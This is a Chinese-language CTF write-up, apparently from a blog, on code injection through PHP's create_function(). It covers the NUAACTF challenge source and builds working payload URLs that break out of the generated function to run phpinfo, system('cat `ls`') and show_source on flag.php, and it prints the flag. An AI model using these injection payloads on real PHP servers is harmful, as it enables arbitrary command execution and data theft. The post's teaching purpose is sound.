Contents

PHP Create_function()

简单写写PHP中利用create_function()进行rce的方式

create_function()简介

适用范围:PHP 4> = 4.0.1,PHP 5,PHP 7

功能:根据传递的参数创建匿名函数,并为其返回唯一名称。

语法:

1
2
3
create_function(string $args,string $code)
string $args #声明的函数变量部分
string $code #执行的方法代码部分

官方案例:参考:https://www.php.net/create_function

1
2
3
4
5
6
7
8
<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
// outputs
// New anonymous function: lambda_1
// ln(2) + ln(2.718281828459) = 1.6931471805599
?>

这个函数用于创建一个匿名函数并调用,在其内部会执行 eval()

因此,上述匿名函数的创建与执行过程等价于:

1
2
3
4
5
<?php
function lambda_1($a,$b){
    return "ln($a) + ln($b) = " . log($a * $b);
}
?>

利用分析:如果传入的参数用户可控,稍微构造就能进行命令执行,如果不可控,可以配合项目中已有的危险函数或者后门进行利用。

我们简单以NUAACTF的题举个栗子:

源码:

1
2
3
4
<?php
$func = @$_GET['func'];
$arg = @$_GET['arg'];
if(isset($func)&&isset($arg)){$func('$arg1 ,'.$arg,'');}

这是后来出题师傅改过的,因为原题被打了非预期。

分析源码,很明显我们给$func传入create_function,给$arg传入s

然后创建的匿名函数的结构是这样:

1
2
3
function niming($arg1 ,s){
  
}

这样会报错,因为少了个$,我们传入$s,就没有报错了

然后构造:arg=$s){}phpinfo();/*

https://leonsec.gitee.io/images/QQ图片20200604105853.png

接下来就可以执行任意命令了,反弹shell啥的都可以

https://leonsec.gitee.io/images/QQ图片20200604110017.png

payload:

1
createfun.php?func=create_function&amp;arg=$s){}system(%27cat%20`ls`%27);/*

或者:

1
createfun.php?func=create_function&amp;arg=$s){}show_source(%27flag.php%27);/*

flag:nuaactf{34986668}